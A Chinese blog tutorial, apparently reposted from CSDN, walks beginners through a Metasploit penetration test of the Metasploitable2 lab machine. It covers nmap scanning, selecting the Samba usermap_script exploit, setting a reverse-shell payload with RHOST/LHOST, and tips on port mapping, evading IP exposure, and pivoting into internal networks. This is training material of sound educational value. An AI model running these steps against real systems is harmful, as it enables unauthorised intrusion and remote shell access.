原文:https://blog.csdn.net/wsh19930305/article/details/72855660
本文主要讲metasploit的入门用法,还有一些渗透细节和思路,有不足的,欢迎互相学习研究。本人区别于书籍的特点是:书籍以模块为划分,我是以连续的步骤进行书写,更突出一次渗透的思路,同时我会通过强调步骤的细节技巧,用以拓展相关类容。
由于我现在对metasploit的深入度并不足,只能使用metasploit做一些初级入门的系统测试,一下是常规步骤和方法:
1、 使用nmap进行端口扫描
2、 使用search命令查找相关模块
3、 使用use调度模块
4、 使用info查看模块信息
5、 选择payload作为攻击
6、 设置攻击参数
7、 渗透攻击
如果第二次看我文章,建议通过以上七个步骤回忆操作,实在记不住再看后面步骤详解,以达到掌握的效果。
详解:
首先是安装metasploit和nmap(后期也会出一个这个工具的学习笔记),至于安装方法,请根据您使用的系统来百度。百度是初学者必备,如果深入建议使用Google。我们这次渗透的靶机,是metasploitable2。
1. 使用nmap进行端口扫描,
由于本人技术初级阶段,所以只能检测系统漏洞。检查系统漏洞的关键,就是检测端口的开放,这个也是metasploit种exploit模块经常要设置参数的原因,所以nmap很好的解决了这个需求,通常使用:nmap –sV IP(或者域名),如果机器设置有防火墙禁ping,可以使用nmap -P0(或者-Pn) –sV IP(或者域名),通过这两个命令可以查看主机的开放情况:
如图,可以看到靶机开放的端口,开放状态,服务类型,和版本号,其中渗透最重要的两个参数是开放状态和版本号。如果端口是关闭的,那就不可能渗透了,一般是防火墙过滤了,但如果是过滤的话,还是可以尝试攻击(我没成功过,应该有一定可能成功);版本号也就是系统扫描中,在开发安全扫描件里经常提及的漏洞指纹,因为大部分漏洞的产生就是某一版本的问题。
我们此次攻击的139端口,如图中,可以看到服务的指纹信息,主要就是服务名称和版本号,是叫samba的服务,处于3.X-4.X版本。
此步强调:
a、 nmap的参数居多,但是可以通过英语简写记,比如:-sV :s 技术scan ,V就是version。
b、 通过nmap主要是知道端口开放情况(STATE)和指纹信息(服务名称和版本号),然后可以根据指纹信息百度,该版本是否存在漏洞,然后按百度操作证明。
2.使用search命令查找相关模块
就刚才我们锁定的139端口的版本信息,我们可以通过search命令查找相关的扫描脚本。命令格式:search Name。本例就是:search samba
如图,加班也有很多属性,其中最重要的就是他的等级,一般有限选择excellent和great两种等级,因为稳定且效果明显,其次重要的就是后面的描述是否和我们攻击的服务有关,最后记住需要的模块,在后面攻击是使用。
此步强调:
a、 攻击模块的等级很重要,依次选择excellent和great,其他模块并不是很好或者效果不明显。(后期我可能出一个metasploit二次开发的编程,使用脚本,可以简单快速的进行渗透,并且解决低等级模块多,手工慢的特点。)
b、 英语非常重要,但是要求也不高,能把提示看懂就行,这个对渗透帮助巨大,因为大部分好的开源工具都是英文提示。
c、 还有图中第二行没有标明的一个问题,说我没有建立数据库,建议大家在使用metasploit以前,打开postgresql数据库,有很多难度姿势需要依赖,在此我就不举例了。
3.使用use调度模块
找到了我们需要攻击的目标模块,我们就使用它,通过命令:use ExploitName 。该例就是:use exploit/multi/samba/usermap_script。
出现第二行,就是说明模块加载成功。
技巧:如果是知道使用哪个模块,可以输入每个 / 后的前2-4个字母使用table补齐,或者直接复制刚才找到模块。(建议大家都使用Linux操作系统,只需要命令就能解决很多问题,而且本人偏开发,在开发的时候,Linux使用也会比Windows多些优势)
4.使用info查看模块信息
主要就是看图中标红的描述,确定是否针对漏洞(该步基本可省略,但是为了了解学习,还是建议看看)
5.选择payload作为攻击
选择payload,首先我们要看能使用哪些参数,通过命令:show payloads:
在选择攻击载荷的时候,建议选用和meterpreter和reverse相关的载荷,本次攻击就选用图中标红的。
通过使用命令:set payload PayloadName。该例为:set payload cmd/unix/reverse:
出现第二行,表示设置成功。
技巧:
a、 meterpreter在metasploit中有什么瑞士尖刀的称呼,可以很好的做到后渗透攻击以及内网渗透,可以参看meterpreter使用。
b、 reverse解释是反弹,由于你攻击的目标机可能处在内网里,所以你攻击的时候存在端口映射等方面的问题,所以如果使用反弹,这个可以更稳定。(我是这么理解的,建议百度反弹shell,玄魂的解释挺不错)
6.设置攻击参数
首先通过show options或者options,查看需要填写的参数:
其中标红处如果是yes,表示这行参数必须填写,如果是no,就是选填,其中有LHOST和RHOST是空,我们根据后面的描述,填上靶机和本地主机的信息。
RHOST 填写目标机IP,LHOST填写本机IP。
技巧:
a、 在真实的环境中,RPORT可能并不是默认的参数,由于一个服务是放在内网当中,他通过路由器转发,可能会出现端口的变化(端口映射),比如我们刚才扫描出该服务的端口可能就不是139,而是XXX,这个时候,我们就要设置RPORT为XXX,这点非常重要。
b、 exploit target也是非常重要的参数,在你确切的知道目标的系统的时候,可以通过show targets,查看目标系统有哪些:
查看目标的系统,可以使用:nmap –O IP,然后使用set target ID选择目标类型,主要用于增加成功率。
c、 由于本机的IP在内网,所以基本不会变,可以使用setg代替set,这样在手工的时候换攻击模块,少输入几个字母。
7.渗透攻击
就是参数完整,然后使用exploit或者run就行了,对于部分攻击模块,可以使用check来判断:
图中的靶机ip由于我是通过虚拟机主机模式做的,所以ip和端口都是原生的,但如果是渗透到内网的某个主机,那显示的本地地址可能和你的攻击地址产生不同,这个时候就恭喜你的渗透到内网,你可以通过使用添加路由的方式,进行内网渗透(后面看情况出该章节)。
技巧:使用check判断,不会生成session,这样就不会暴露自己的ip地址,但是也就不能getshell。
8.后渗透攻击
这一部分主要是meterpreter模块的使用,以及部分提权,由于和这章关系不大,所以就没列入最前面的列表,后期会出一个相关学习笔记。
总结(非常重要):
a、 英语很重要,就算不学太多单词,在使用工具中出现的单词,建议查找记忆。
b、 在文章中没提出在计算机中用的最常见的一个参数 “-h”,就算help,很多操作都可以通过帮助来使用,所以再次说明英语重要。
c、 参数众多的情况下,就记住主要的参数,比如本文针对exploit模块,基本常用的命令(除了show advanced 和设置其中的参数)
关于metasploit方面推荐学习demon表哥的博客:www.ggsec.cn,视屏更多。